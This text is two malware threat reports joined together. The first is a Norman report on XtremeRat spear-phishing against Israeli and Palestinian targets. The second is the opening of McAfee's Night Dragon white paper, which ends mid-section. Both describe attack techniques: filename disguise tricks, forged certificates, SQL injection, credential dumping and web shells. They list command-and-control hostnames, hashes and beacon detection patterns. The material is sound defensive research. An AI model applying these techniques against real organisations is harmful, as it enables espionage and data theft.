These attacks are likely performed by the same attacker, as the malware in question communicate with the same command- and control structures, and in many cases are signed using the same digital certificate.
These attacks have been ongoing for at least a year seemingly first focused on Palestinians, then Israelis.
The attacker is unknown at this point, but the purpose is assumed to be espionage/surveillance.
Norman, November 2012   3 Introduction Recently, media (1) reported of a targeted attack against the Israeli government, in the form of emails purporting to come from IDF Chief of Staff Benny Gantz with a malicious attachment.
This was an interesting development  Israel has, as far as we know, not been very targeted by spear phishing attacks like this.
In the following text we will usually be referring to the actual malware files we uncovered by their MD5 hash, which is a number that uniquely (well, uniquely enough) identifies the file in question.
http://blogs.norman.com/?attachment_id3443 Norman, November 2012   4 The initial reported malware While we dont have visibility into Israeli government mails, we do receive a lot of suspicious executable files, and a little digging gives results.
We found one file which matched the reports: IDF strikes militants in Gaza Strip following rocket barrage.doc----------------------------------------------.scr.
This is an executable file, but the icon looks like a document icon, and the very long name makes the .scr extension hard to spot - particularly if the executable comes packaged in an archive, as was reportedly the case here.
This executable itself is a WinRAR selfextracting (SFX) archive, which contains several other files: Word.exe, an XtremeRat backdoor executable 2.ico, an icon file barrage.doc, an innocent document containing pictures (above) XtremeRat is a commercially available backdoor trojan which has been used in many attacks, targeted and otherwise, over the years.
It gained some notoriety in connection with attacks against Syrian activists along with other off-the-shelf trojans such as BlackShades and DarkComet.
Norman, November 2012   5 The digital signature An interesting feature of this exact XtremeRat is that it is digitally signed  seemingly by Microsoft: The certificate chain ends in an untrusted (faked) root certificate so it will not validate properly.
Nevertheless the certificate is useful for us, as it can be used to find related cases.
All certificates are issued with a serial number which normally is quite unique, as it is supposed to be an identifier within the scope of its issuer.
So, querying our databases for this particular faked certificate returns a number of files which are probably the products of our Israel-hostile attacker.
These files were received in intervals through the fall and summer, going back to May 2012, and reveal more hints about targets.
Several of them are self extracting archives containing extra files, such as documents, links and even video.
The following pages display some of the bait information the new files contain.
http://blogs.norman.com/?attachment_id3427 http://blogs.norman.com/?attachment_id3433 Norman, November 2012   6 Word document, contained in  SFX RAR file 66DDF27517985A75B2317231B46A6F62 Word document, contained in  SFX RAR file 4A06D9989A8C3A9967C2011E5BAF3010 Report.doc...................................................... .......................................................................... .............exe http://blogs.norman.com/?attachment_id3444 http://blogs.norman.com/?attachment_id3435 Norman, November 2012   7 Word document, contained in  SFX RAR file 15FC009D9CAAA8F11D6C3DA2B69EA06E Silence of the Jews make the Church of the Nativity of the Palestinians.doc-----------.scr Found in Israel Word document, contained in  SFX RAR file 940B3ACDF1E26FCCCF74A5A0359FB079 IDF NEWS[RTLO]cod.
SCR Norman, November 2012   8 3gp video, contained in  SFX RAR file 9C39D6F52E1E1BE5AE61BAB90971D054 A Rood Awakening Michael Rood .3gp-------- -------------------------------.scr Found in Israel Word document, contained in  SFX RAR file 9D144A828F757A90B86976EF0C906B3F Norman, November 2012   9 Word document, contained in  SFX RAR file D14E0A3D408065B1551F2827B50B83CA Word document, contained in  SFX RAR file C8202523F35295E8BC8CC1731EDB0559 Norman, November 2012   10 Word document, contained in  SFX RAR file C21D7165B25CAF65D7F92FF758C1B5B1 The first conference of Dr. Mohamed Morsi, after winning.doc---------------.scr YouTube URL contained in  SFX RAR file 5B740B4623B2D1049C0036A6AAE684B0  -----------------------------------------[RTLO] .wmv------------------.scr Found in Israel Norman, November 2012   11 Word document, contained in  SFX RAR file 72fd6074915f8f123eb44b3dd475d36b TShehab[RTLO]cod.scr Found in Israel Norman, November 2012   12 Command  Control The involved malwares connect to external hosts controlled by the attackers.
These belong to various DynDNS services, and at the time of writing resolve to IP addresses located with hosting services in the US.
Samples in yellow connecting to CC hosts (green).
All are digitally signed and connected through the blue certificate node in the middle.
This is where the trail could have ended.
However, there are still clues to look at  for example, what other executables connect to these CC hosts.
This time, digging into our Malware Analyzer G2 (MAG2) databases shows that there is more malware talking to this infrastructure, and these bots again connect to more CC domains.
These new malwares are also predominantly XtremeRats.
However, they have been in circulation for a longer time  all the way back to October 2011.
I think it is logical to assume that all these have been part of a medium/large surveillance operation.
http://blogs.norman.com/?attachment_id3476 Norman, November 2012   13 When updated with this information the plot now looks like this: Same as previous illustration, where new unsigned samples are shown to be related through the usage of the same CC infrastructure.
Colours have changed  now the certificate is green, the CC servers are yellow, the samples are blue, while IP addresses are purple.
These IP addresses can be considered examples  they change regularly.
Several of these domains appear to be hosted together.
For example (at the time of writing): 108.171.108.190 is pointed to by may2008.dyndns.info, menu.dyndns.biz, flashsoft.no-ip.biz, monagameel.chickenkiller.com, powerhost.zapto.org 108.171.124.13 is pointed to by helpme.no-ip.biz, mjed10.no-ip.info 69.80.101.244 is pointed to by good.zapto.org, hint.zapto.org, hint1.zapto.org, natco1.no-ip.net, natco2.no-ip.net, natco3.no-ip.net, natco4.no-ip.net, loading.myftp.org, skype.servemp3.com, test.cable-modem.org These addresses tend to change.
Typically, every couple of days a new IP configuration is introduced for some boxes, while others may remain static  such as the host lokia.mine.nu, which has resolved to 69.80.107.129 since we started examining the case.
As mentioned, the IP addresses in use have belonged to mostly US-based hosting servicesat least recently.
Norman, November 2012   14 If we go further back in time (towards spring of 2012) most of the domains used resolved to IP addresses in the range 188.161..
This range is located in Gaza and belongs to a provider headquartered in Ramallah in the West Bank: Palestinian Territory, Occupied Gaza Palestine Telecommunications Company (paltel), ASN: AS12975 We have also to a lesser extent seen IP addresses in use belonging to another Paltel division: Palestinian Territory, Occupied Gaza Hadara Technologies Private Shareholding Company, ASN: AS15975 What is behind these IP addresses is hard to establish.
It is possible that they are hacked boxes, and as such not give much valid information.
If that were the case, one might have expected greater IP range and geographical distribution, but nothing is certain.
Our databases also show that there is much more malware talking to these providers through many other DynDNS domains.
Some of these are probably also related to this case, but as we have no evidence linking the cases, these malwares have not been included in this paper.
It is however interesting to note the hostnames some of these connect to  like terroristttt.no- ip.biz.
Norman, November 2012   15 The plot thickens So far, the impression is of an attack actor attempting to gather information from Israelis.
Then something happens that throws this picture in disarray.
A series of samples show up that do not follow the pattern.
They apparently do not target Israelis.
Instead they use Arabic language and refer to Palestinian issues.
This document in Arabic claims that Mahmoud Abbas is threatened by assassination by Mossad if he does not stop his reconciliation policy towards Hamas.
The image is taken from a news story about Abbas speaking at a meeting in Ramallah.
Word document contained in EXE file FC17F3B2E2C7F5F24D35899D95B8C4A6 Norman, November 2012   16 The sample containing this video is digitally signed in the same way as the initial samples, but the baiting angle is different.
Instead of showing information interesting for an Israeli audience, the video contains a music piece critical of Mahmoud Abbas, claiming that he is not working for the good of the Palestinian people.
MP4 video contained in EXE file 2AAD951DBECB6D4715B306B337CA5C34 Norman, November 2012   17 This document revolves around the prisoner exchange deal with the Israeli government over the Israeli soldier Gilad Shalit, held hostage by Hamas for over five years.
This image appears purportedly to be of Gilad Shalit in his hostage cell.
This could be aimed at Israelis, but the image itself has been mostly shown on Arabic/Palestinian sites like www.shehab.ps, a news agency located in Gaza.
Word document contained in SFX ZIP file B4F5BFC0AB0CC3D6B7A6B9653784DE56 Found in Palestine JPEG image contained in EXE file 0AA7B256D2DCC8BD3914F895B134B225 Norman, November 2012   18 This document is an interview with the former Palestinian ambassador and Member of Parliament Nabil Amr.
He is known to have been critical of Arafat and later Abbas.
Word document contained in EXE file 926235FCF7B91442A405B5760A0729EB Norman, November 2012   19 We also see attacks apparently against Palestinian targets without being able to tie them up against the already mentioned attack/CC structure.
For example, a file received by us as d.exe, (MD5 1f1e9958440d773c34415d9eb6334b25), found in Palestine Nov 17th last year, shows a PDF document with content seemingly taken from Palestine Now (www.paltimes.net): PDF document contained in the EXE file 1F1E9958440D773C34415D9EB6334B25 Found in Palestine Norman, November 2012   20 Document metadata Most of the bait attachments are Word documents, and Word documents can contain metadata (typically the usernames of the creator and the one who last saved the document).
It is possible to scrub these details, but our attackers seem to have forgotten this  or inserted faked data.
Palestinian baits: Hmas.doc: Created by Hitham, saved by anar date Oct 12th 2011 484hhh.doc: Created by Hitham, saved by Ayman date Nov 27th 2011 Word.doc: Created and saved by Tohan date Feb 18th 2012 Israeli baits: word.doc:  Created by ahmed, saved by aert date May 14th 2012 IDF NEWS.doc: Created and saved by aert date May 26th 2012 Brotherhood.doc: Created and saved by aert date Jun 24th 2012 detl.doc: Created and saved by aert date Jun 29th 2012 Advisor.doc: Created and saved by HinT date Jul 29th 2012 IDF.doc: Created and saved by aert date Aug 1st 2012 System.doc: Created and saved by HinT date Aug 5th 2012 York.doc: Created and saved by HinT date Oct 16th 2012 barrage.doc :  Created and saved by HinT  date Oct 24th 2012 shehab.doc: Created and saved by HinT date Oct 31st 2012 There seems to be a number of people involved in creating these bait files.
The dates also roughly coincide with the apparent shift in IP ranges (Appendix B), from first being located in Gaza, to being located internationally.
Norman, November 2012   21 Conclusion We have uncovered a substantial number of malware executables that contain information seemingly tailored at Israelis and Palestinians.
We have the impression that a cybersurveillance operation is underway (and is probably still ongoing - most recent sample created Oct. 31) which was first mainly focused on Palestinian targets, then shifted towards Israel.
The reason for the shift is unknown.
Maybe it was planned all along or caused by changes in the political climate or maybe the first half of the operation found data that caused the target change.
This analysis is almost exclusively based on the executable files themselves.
We have very little information about actual infections.
The only documented case is the Benny Gantz-themed email which triggered the investigation.
We consider it likely that other attacks have been modeled the same way, using attachments in email.
These attachments may often have consisted of the described malicious files inside archives like RAR or ZIP.
The attacker is still unknown to us.
There are probably several actors that could have an interest in the regional politics, as the various powerblocks in the region are manifold and conflicted.
By using largely off-the-shelf malware, the cost of mounting such an operation is considerably lower than for those who do their own malware development.
Norman, November 2012   22 References 1.
Ravid, Barak.
Haaretz.com: Israels Foreign Ministry targeted by computer virus bearing IDF chiefs name.
[
Online] http://www.haaretz.com/blogs/diplomania/israel-s-foreign-ministry-targeted-by- computer-virus-bearing-idf-chief-s-name.premium-1.472278.
Norman, November 2012   23 Appendix A: CC hostnames may2008.dyndns.info menu.dyndns.biz flashsoft.no-ip.biz monagameel.chickenkiller.com hatamaya.chickenkiller.com powerhost.zapto.org helpme.no-ip.biz mjed10.no-ip.info good.zapto.org hint.zapto.org hint1.zapto.org natco1.no-ip.net natco2.no-ip.net natco3.no-ip.net natco4.no-ip.net loading.myftp.org skype.servemp3.com test.cable-modem.org idf.blogsite.org javaupdate.no-ip.info lokia.mine.nu www.hint-sms.com owner.no-ip.biz remoteback.no-ip.biz ramadi.no-ip.biz The likelihood that there are more names involved is large.
There is for example a domain natco5.no-ip.net which resolves to the same IPs as the rest of the series, but we have not seen the malware which uses it  yet.
Norman, November 2012   24 Appendix B: CC Timeline MD5 Primary CC CC loc.
Date first seen A5DE87646EE943CD1F448A67FDBE2817 hint.zapto.org PS 27-Oct-11 F982401E46864F640BCAEDC200319109 natco4.no-ip.net PS 29-Oct-11 EC5B360F5FF6251A08A14A2E95C4CAA4 hint1.zapto.org PS 02-Nov-11 97576FA7A236679DBE3ABE1A4E852026 mjed10.no-ip.info PS 07-Nov-11 C1EC435E97A4A4C5585392D738B5879F monagameel.chickenkiller.com PS 07-Nov-11 2559FE4EB88561138CE292DF5D0E099F powerhost.zapto.org PS 08-Nov-11 0ABF3FA976372CBC8BF33162795E42A8 powerhost.zapto.org PS 14-Nov-11 0B3B1E2E22C548D8F53C2AA338ABD66E hint.zapto.org PS 19-Nov-11 0AA7B256D2DCC8BD3914F895B134B225 hint.zapto.org PS 30-Nov-11 FF8E19CA8A224CC843BF0F2F74A3274E powerhost.zapto.org PS 17-Dec-11 7C5272F3F24ACB225270DDED72CFC1D4 flashsoft.no-ip.biz PS 23-Dec-11 8AEAA0C81A36449EC9613CA846E196F2 menu.dyndns.biz PS 01-Jan-12 2AAD951DBECB6D4715B306B337CA5C34 mjed10.no-ip.info PS 03-Jan-12 926235FCF7B91442A405B5760A0729EB helpme.no-ip.biz PS 12-May-12 963BFAE19B3DA5BECE081DFF1D1E3EF9 hint.zapto.org US 16-May-12 EBC9BDF9FDF0A9773899D96D24AC46F4 powerhost.zapto.org PS 19-May-12 998F30457BC48A1A6567203E0EC3282E powerhost.zapto.org PS 29-May-12 31F96ADD841594D35E6E97376114E756 hint.zapto.org FR 02-Jun-12 6E416C45A833F959A63785892042595A hint.zapto.org PS 02-Jun-12 0DC102CFB87C937EEFFE01A06F94E229 powerhost.zapto.org PS 07-Jun-12 B7DF947B4A67A884C751840F83C4405E hint.zapto.org UK 09-Jun-12 2EB1503751A7C74890096B1837C7BD81 menu.dyndns.biz PS 09-Jun-12 C21D7165B25CAF65D7F92FF758C1B5B1 skype.servemp3.com                   US 25-Jun-12 0A67F9CC30083AFB7E1F8295AE152BB6 skype.servemp3.com                           US 25-Jun-12 E9823B61E6CE999387DE821DFBF6E741 good.zapto.org        US 10-Jul-12 2AAD951DBECB6D4715B306B337CA5C34 good.zapto.org  US 12-Jul-12 ED53831468DDF4220E1DC3C3398F7F39 natco1.no-ip.net                        US 02-Aug-12 66DDF27517985A75B2317231B46A6F62 natco1.no-ip.net                                   US 02-Aug-12 86BE5F0D2303FB4A8A8E297A53AC0026 lokia.mine.nu US 14-Aug-12 D14E0A3D408065B1551F2827B50B83CA lokia.mine.nu US 29-Aug-12 B6C8A6D6C35428779C5C65C1B273EBA0 menu.dyndns.biz                              US 04-Sep-12 C03B5985F2504939DA9874246A439E25 lokia.mine.nu US 10-Sep-12 216689B2CA82F16A0CAB3A2712C27DA6 natco2.no-ip.net US 18-Sep-12 9C39D6F52E1E1BE5AE61BAB90971D054 natco3.no-ip.net                                   US 27-Sep-12 E7E05001A294EBFE8A012DD3BCE78E96 may2008.dyndns.biz US 28-Sep-12 F68F85B0FBCA450F0D5C8828063AD30D menu.dyndns.biz                        US 02-Oct-12 3DA8C22F5340850EE5A2C25B1D17FC27 loading.myftp.org                            US 03-Oct-12 9D144A828F757A90B86976EF0C906B3F lokia.mine.nu US 21-Oct-12 DBE2AC744A3947B6306E13EBCCB718BF lokia.mine.nu US 21-Oct-12 861C90536B3B5A4A8309ADBBFD5C4713 natco3.no-ip.net                                   US 24-Oct-12 947557A55267DFFB3F85E0D7496A3679 good.zapto.org                                        US 25-Oct-12 2BFE41D7FDB6F4C1E38DB4A5C3EB1211 loading.myftp.org US 25-Oct-12 2BCDC5091C446E8B6888D802A3589E09 loading.myftp.org                                  US 25-Oct-12 72FD6074915F8F123EB44B3DD475D36B idf.blogsite.org US 31-Oct-12 41454B390B73A45004B916B96C693312 javaupdate.no-ip.info US 03-Nov-12 Red hash  probable PS target.
Blue hash  probable IL target.
Norman, November 2012   25 Appendix C: MD5 list, main cluster MD5 A5DE87646EE943CD1F448A67FDBE2817 F982401E46864F640BCAEDC200319109 EC5B360F5FF6251A08A14A2E95C4CAA4 97576FA7A236679DBE3ABE1A4E852026 C1EC435E97A4A4C5585392D738B5879F 2559FE4EB88561138CE292DF5D0E099F 0ABF3FA976372CBC8BF33162795E42A8 1f1e9958440d773c34415d9eb6334b25 0B3B1E2E22C548D8F53C2AA338ABD66E 0AA7B256D2DCC8BD3914F895B134B225 B455426811B82CB412952F63D911D2A8 E431634699D7E5025ECDF7B51A800620 FF8E19CA8A224CC843BF0F2F74A3274E 7C5272F3F24ACB225270DDED72CFC1D4 8AEAA0C81A36449EC9613CA846E196F2 FC17F3B2E2C7F5F24D35899D95B8C4A6 926235FCF7B91442A405B5760A0729EB 963BFAE19B3DA5BECE081DFF1D1E3EF9 EBC9BDF9FDF0A9773899D96D24AC46F4 4A06D9989A8C3A9967C2011E5BAF3010 4DC0BCDCFB3F3D794175B21872A76079 998F30457BC48A1A6567203E0EC3282E 91FC9D1B635FDEE4E56AEC32688A0E6C 940B3ACDF1E26FCCCF74A5A0359FB079 cebc8b51d51e442e2af8c86e70c8adf4 31F96ADD841594D35E6E97376114E756 6E416C45A833F959A63785892042595A 0DC102CFB87C937EEFFE01A06F94E229 B7DF947B4A67A884C751840F83C4405E 2EB1503751A7C74890096B1837C7BD81 C21D7165B25CAF65D7F92FF758C1B5B1 0A67F9CC30083AFB7E1F8295AE152BB6 15FC009D9CAAA8F11D6C3DA2B69EA06E D9D1B0C467FA4999DEF6CD53447F1221 E9823B61E6CE999387DE821DFBF6E741 2AAD951DBECB6D4715B306B337CA5C34 ED53831468DDF4220E1DC3C3398F7F39 66DDF27517985A75B2317231B46A6F62 86BE5F0D2303FB4A8A8E297A53AC0026 A1187DE4C4B88E560D46940B820A6228 D14E0A3D408065B1551F2827B50B83CA B6C8A6D6C35428779C5C65C1B273EBA0 841565C67006E6A0A450C48054CF348C C8202523F35295E8BC8CC1731EDB0559 C03B5985F2504939DA9874246A439E25 216689B2CA82F16A0CAB3A2712C27DA6 5B740B4623B2D1049C0036A6AAE684B0 9C39D6F52E1E1BE5AE61BAB90971D054 E7E05001A294EBFE8A012DD3BCE78E96 F68F85B0FBCA450F0D5C8828063AD30D 3DA8C22F5340850EE5A2C25B1D17FC27 9D144A828F757A90B86976EF0C906B3F DBE2AC744A3947B6306E13EBCCB718BF 861C90536B3B5A4A8309ADBBFD5C4713 947557A55267DFFB3F85E0D7496A3679 2BFE41D7FDB6F4C1E38DB4A5C3EB1211 2BCDC5091C446E8B6888D802A3589E09 72FD6074915F8F123EB44B3DD475D36B 41454B390B73A45004B916B96C693312 Norman AS, November 2012 Summary Introduction The initial reported malware The digital signature Command  Control The plot thickens Document metadata Conclusion References Appendix A: CC hostnames Appendix B: CC Timeline Appendix C: MD5 list, main cluster
Global Energy Cyberattacks: Night Dragon By McAfee Foundstone Professional Services and McAfee Labs February 10, 2011 White Paper White Paper Global Energy Cyberattacks: Night Dragon Table of Contents Executive Summary 3 Anatomy of a Hack  3 Details of the Attack 4 Use of remote administration tools 7 Detection 7 Host Files and Registry Keys 8 Anti-virus Alerts 9 Network Communications 9 Additional Detection Techniques 11 McAfee Early Detection 11 McAfee Detection 12 McAfee Prevention 12 Conclusion 13 Credits and Acknowledgements 13 Appendix A: zwShell  the RAT 13 Appendix B: Attribution 18 Version 1.4    Feb 11, 2011 03:30 PM 3 White Paper Global Energy Cyberattacks: Night Dragon Executive Summary In 2010, we entered a new decade in the world of cybersecurity.
The prior decade was stained with immaturity, reactive technical solutions, and a lack of security sophistication that promoted critical outbreaks, such as Code Red, Nimda, Blaster, Sasser, SQL Slammer, Conficker, and myDoomto name a few.
The security community has evolved and grown smarter about security, safe computing, and system hardening but so have our adversaries.
This decade is setting up to be the exponential jumping off point.
The adversaries are rapidly leveraging productized malware toolkits that let them develop more malware than in all prior years combined, and they have matured from the prior decade to release the most insidious and persistent cyberthreats ever known.
The Google hacks (Operation Aurora), named by McAfee and announced in January 2010, and the WikiLeaks document disclosures of 2010 have highlighted the fact that external and internal threats are nearly impossible to prevent.
Miscreants continue to infiltrate networks and exfiltrate sensitive and proprietary data upon which the worlds economies depend every day.
When a new attack emerges, security vendors cannot stand by idly and watch.
We are obligated to share our findings to protect those not yet impacted and to repair those who have been.
As such, McAfee Foundstone Professional Services and McAfee Labs decided to release the following discovery.
Starting in November 2009, coordinated covert and targeted cyberattacks have been conducted against global oil, energy, and petrochemical companies.
These attacks have involved social engineering, spear- phishing attacks, exploitation of Microsoft Windows operating systems vulnerabilities, Microsoft Active Directory compromises, and the use of remote administration tools (RATs) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations.
We have identified the tools, techniques, and network activities used in these continuing attacks  which we have dubbed Night Dragon  as originating primarily in China.
Through coordinated analysis of the related events and tools used, McAfee has determined identifying features to assist companies with detection and investigation.
While we believe many actors have participated in these attacks, we have been able to identify one individual who has provided the crucial CC infrastructure to the attackers.
(
See Appendix B for more detail on attribution.)
Anatomy of a Hack NIGHT DRAGON Global Energy Cyberattacks Extranet web servers compromised Gained access to sensitive internal desktops and servers Accessed additional usernames and passwords Enabled direct communication from infected machines to the Internet Exltrated email archives and other sensitive documents 1 2 3 4 5 Remote command execution Hacker tools uploaded to servers Further access to sensitive documents Disabled IE proxy settings Executives computers compromised Source: McAfee, Inc.
Figure 1.
Anatomy of a hack.
http://www.mcafee.com/us/threat-center/operation-aurora.aspx http://blogs.mcafee.com/corporate/cto/got-wikileaks-call-a-mcafee-dlplumber http://www.foundstone.com/ http://www.mcafee.com/us/mcafee-labs.aspx 4 White Paper Global Energy Cyberattacks: Night Dragon The Night Dragon attacks work by methodical and progressive intrusions into the targeted infrastructure.
The following basic activities were performed by the Night Dragon operation: Company extranet web servers compromised through SQL-injection techniques, allowing remote command execution Commonly available hacker tools are uploaded on compromised web servers, allowing attackers to pivot into the companys intranet and giving them access to sensitive desktops and servers internally Using password cracking and pass-the-hash tools, attackers gain additional usernames and passwords, allowing them to obtain further authenticated access to sensitive internal desktops and servers Initially using the companys compromised web servers as command and control (CC) servers, the attackers discovered that they needed only to disable Microsoft Internet Explorer (IE) proxy settings to allow direct communication from infected machines to the Internet Using the RAT malware, they proceeded to connect to other machines (targeting executives) and exfiltrating email archives and other sensitive documents Details of the Attack Attackers using several locations in China have leveraged CC servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil, gas, and petrochemical companies, as well as individuals and executives in Kazakhstan, Taiwan, Greece, and the United States to acquire proprietary and highly confidential information.
The primary operational technique used by the attackers comprised a variety of hacker tools, including privately developed and customized RAT tools that provided complete remote administration capabilities to the attacker.
RATs provide functions similar to Citrix or Microsoft Windows Terminal Services, allowing a remote individual to completely control the affected system.
To deploy these tools, attackers first compromised perimeter security controls, through SQL-injection exploits of extranet web servers, as well as targeted spear-phishing attacks of mobile worker laptops, and compromising corporate VPN accounts to penetrate the targeted companys defensive architectures (DMZs and firewalls) and conduct reconnaissance of targeted companies networked computers.
(
1) Attacker crafts a HTTP GET request to inject commands to SQL server to gain system-level access (2) Malware is placed on server and used to harvest the local and Active Directory account credentials (4) Attacker uses RAT malware to conduct additional reconnaissance and systems compromises and to harvest condential data (3) Active Directory accounts are used to access network computers and plant RAT malware that connects with remote CC addresses.
Internet Web CC SQL AD Figure 2.
SQL-injection attacks.
SQL Injection Attacks 5 White Paper Global Energy Cyberattacks: Night Dragon Many Chinese hacker websites offer these tools for download, including links to reduh, WebShell, ASPXSpy, and many others, plus exploits and zero-day malware.
(
1) Attacker sends a spear-phishing email containing a link to a compromised web server (4) Attacker uses RAT malware to conduct additional reconnaissance and systems compromises and to harvest condential data (3) User account information and host conguration information is sent to a CC server (2) User opens infected email and the compromised website is accessed a RAT is downloaded Internet Web CC Email Figure 3.
Spear-phishing attacks.
Figure 4.
Rootkin.net.cn offers access to an endless list of hacker tools and exploits.
Spear-Phishing Attacks 6 White Paper Global Energy Cyberattacks: Night Dragon Figure 5.
WebShell and ASPXSpy tools allow an attacker to bypass many firewall rules to funnel all control through a companys web server.
7 White Paper Global Energy Cyberattacks: Night Dragon Once the initial system was compromised, the attackers compromised local administrator accounts and Active Directory administrator (and administrative users) accounts.
The attackers often used common Windows utilities, such as SysInternals tools (acquired by Microsoft in 2006)  and other publicly available software, including hacking tools developed in China and widely available on Chinese underground hacker websites  to establish backdoors through reverse proxies and planted Trojans that allowed the attackers to bypass network and host security policies and settings.
Desktop anti-virus and anti-spyware tools were also disabled in some instances  a common technique of targeted attacks.
Use of remote administration tools Remote administration tools (RATs) are commonly used administrative tools that allow hackers (and administrators) to manage victims computers (or managed systems) and completely control their use and function.
A commonly used RAT in the hacker community is Gh0st and its many variants.
RAT features often include screen and webcam spying, keystroke logging, mouse control, file/registry, and process management, and, of course, remote command shell capability.
McAfee has identified several RATs that have been used to establish a persistent infiltration channel into compromised companies.
One of the most prevalent RATs is zwShell, which McAfee has seen in the wild since the spring of 2010 (compiled on 2010-03-17 08:47:00).
Written in the Delphi language, zwShell was used by attackers to both build custom variants of the Trojan that they deployed on dozens of machines within each victim company, as well as to control compromised machines that would initiate beacon connections to it on a custom protocol.
Attackers used zwShell extensively to generate dozens of unique Trojan variants and to control the infected machines and exfiltrate sensitive data directly from them.
(
See Appendix A for a breakdown of the zwShell.)
Once the attackers had complete control of the targeted internal system, they dumped account hashes with gsecdump and used the Cain  Abel tool to crack the hashes to leverage them in targeting ever more sensitive infrastructures.
Files of interest focused on operational oil and gas field production systems and financial documents related to field exploration and bidding that were later copied from the compromised hosts or via extranet servers.
In some cases, the files were copied to and downloaded from company web servers by the attackers.
In certain cases, the attackers collected data from SCADA systems.
Detection The methods and tools used in these attacks are relatively unsophisticated, as they simply appear to be standard host administration techniques, using standard administrative credentials.
This is largely why they are able to evade detection by standard security software and network policies.
Since the initial compromises, however, many individual unique signatures have been identified for the Trojan and associated tools by security vendors, including McAfee yet only through recent analysis and the discovery of common artifacts and evidence correlation have we been able to determine that a dedicated effort has been ongoing for at least two years, and likely as many as four.
We can now associate the various signatures to these events.
The following artifacts can help to determine whether a company has been compromised: Host files and/or registry keys Anti-virus alerts Network communications 8 White Paper Global Energy Cyberattacks: Night Dragon Host Files and Registry Keys Utility Description Command control application zwShell.exe 093640a69c8eafbc60343bf9cd1d3ad3 zwShell.exe 85df6b3e2c1a4c6ce20fc8080e0b53e9 Trojan dropper A packaged executable customized to each victim that includes the DLL file and configuration settings for installing the backdoor on the remote system.
The dropper can be run from any directory and is usually executed with PSEXEC or an RDP session.
Thus, related Windows Security Event logs provide useful information concerning compromised Active Directory accounts.
These logs can be reviewed with Windows Event Log Manager or programs, such as Event Log Explorer or EnCase, which support search capabilities.
When executed, the dropper creates a temporary file that is reflected in Windows update logs (KB.log files in c:\Windows folder).
This is because the Windows Registry is modified by the dropper to create a netsvcs key.
Accordingly, the date of the backdoor installation can be determined from a search of the KB log files.
This temporary file is also identified in the backdoor DLL itself.
The temporary file is usually some alphanumeric combination that includes gzg (for example, xgt0gzg) however, it has been seen with generic file names (for example, server.exe) as well.
The dropper is deleted when the backdoor is installed, and the temporary file is removed when the computer is restarted.
If a backdoor has already been configured on the system, the dropper installation will fail unless it uses a different configuration.
Trojan backdoor Dynamic link libraries (DLLs), also appearing under many other names.
These files have a correlated Windows Registry key that is determined by the dropper when the backdoor is installed.
The dropper iterates through the Windows netsvcs registry keys and uses the first available key, indicating the path and filename of the backdoor in a ServiceDLL register.
The backdoor operates as a service through a svchost.exe netsvcs k registry setting.
The service key can be found under: HKLM\system\controlset\services\ The DLL is a system or hidden file, 19 KB to 23 KB in size and includes an XOR-encoded data section that is defined by the CC application when the dropper is created.
It includes the network service identifier, registry service key, service description, mutex name, CC server address, port, and dropper temporary file name.
The backdoor may operate from any configured TCP port.
This DLL is specified in the ServiceDLL key in the related Windows netsvcs registry entry.
The DLL is usually found in the System\System32 or System\SysWow64 directory.
Trojan backdoor 2 startup.dll A6CBA73405C77FEDEAF4722AD7D35D60 Initially configured with the following: connect.dll 6E31CCA77255F9CDE228A2DB9E2A3855 Connect.dll creates the temporary file HostID.DAT, which is sent to the CC server, then downloads and configures related DLLs including: PluginFile.dll PluginScreen.dll PluginCmd.dll PluginKeyboard.dll PluginProcess.dll PluginService.dll PluginRegedit.dll Thereafter Startup.dll operates the service under a Windows Registry key.
All communications seen so far with this version have been on ports 25 and 80 over TCP but can operate on any determined port.
The service key is identified in the DLL (which does not include any encrypted data) as: HKLM\Software\RAT This DLL is usually found in the System\System32 directory however, it has also been found in other locations.
The path to the backdoor DLL is indicated in the Windows Registry ServiceDLL key.
This DLL uses a different CC application that may be an earlier version of zwShell, analysis continues.
9 White Paper Global Energy Cyberattacks: Night Dragon The Trojan components are manually copied or delivered through administrative utilities to remote systems.
They do not include any worm or self-replicating features, nor can the Trojan infect other computers.
Removing the Trojan components is simply a matter of deleting the related files and registry settings.
The Trojan backdoor communicates with the CC server at the address hard-coded in each DLL.
The CC server cannot modify the backdoor once it is installed related systems must have the Trojan file removed before a new backdoor DLL can be installed on the system.
Thus, if the CC server address is changed, those servers that have the DLL with previous addresses must be remotely administered by the attacker.
Anti-virus Alerts Anti-virus patterns are defined according to samples submitted by clients or analysts as they are discovered.
Some Trojans exhibit characteristics of other types of malware, such as worms or viruses, that have the ability to infect other systems.
RATs do not typically include such features, and, because they are defined with unique configurations for custom purposes, they commonly change faster than unique samples can be identified.
Only when an entire RAT toolkit is found can we define an anti-virus pattern that is generic enough to detect the RAT regardless of configuration changes.
The package necessarily includes the CC application server, the generator utility for creating droppers, related droppers, and backdoors and a sufficient number of each to correlate the toolkit.
As mentioned previously, there have been several unique patterns developed from samples submitted to McAfee (as well as to other anti-virus vendors).
Network Communications Network communications are relatively easy to detect because the malware uses a unique host beacon and server response protocol.
Each communication packet between the compromised host and the CC server is signed with a plain text signature of hW.
(or \x68\x57\x24\x13) at the byte offset 0x42 within the TCP packet.
The backdoor begins its beacon at approximately five-second intervals with an initial packet that may be detected with the pattern: \x01\x50[\x00-\xff]\x68\x57\x24\x13.
McAfee recommends that companies review McAfee ePolicy Orchestrator (McAfee ePO) software and anti-virus logs for NightDragon signature detections to identify related alerts since 2007 and then recover and resubmit these samples for analysis to investigate the related incidents.
McAfee can assist with the analysis or provide instructions and tools for internal review.
10 White Paper Global Energy Cyberattacks: Night Dragon The server acknowledges the beacon with an initial response of \x01\x60[\x00-\xff]\x68\x57\x24\x13.
The backdoor sends the password to the server in clear text after the server acknowledges the connection.
While the backdoor and the server have an active connection, the backdoor will send keep-alive messages that can be detected with: \x03\x50[\x00-\xff]\x68\x57\x24\x13.
11 White Paper Global Energy Cyberattacks: Night Dragon The attackers use dynamic DNS Internet name services accounts to relay CC communications or temporarily associate DNS addresses with remote servers.
Primary domains that have been used for CC traffic include (all of these have been used frequently by other malware): [xxxx].is-a-chef.com [xxxx].thruhere.net [xxxx].office-on-the.net [xxxx].selfip.com Note: The above hostnames (is-a-chef.comhttp://is-a-chef.com, thruhere.nethttp://thruhere.net, office- on-the.nethttp://office-on-the.net, selfip.comhttp://selfip.com) by themselves do not indicate malicious activity and there are plenty of legitimate subdomains that may use those hostnames.
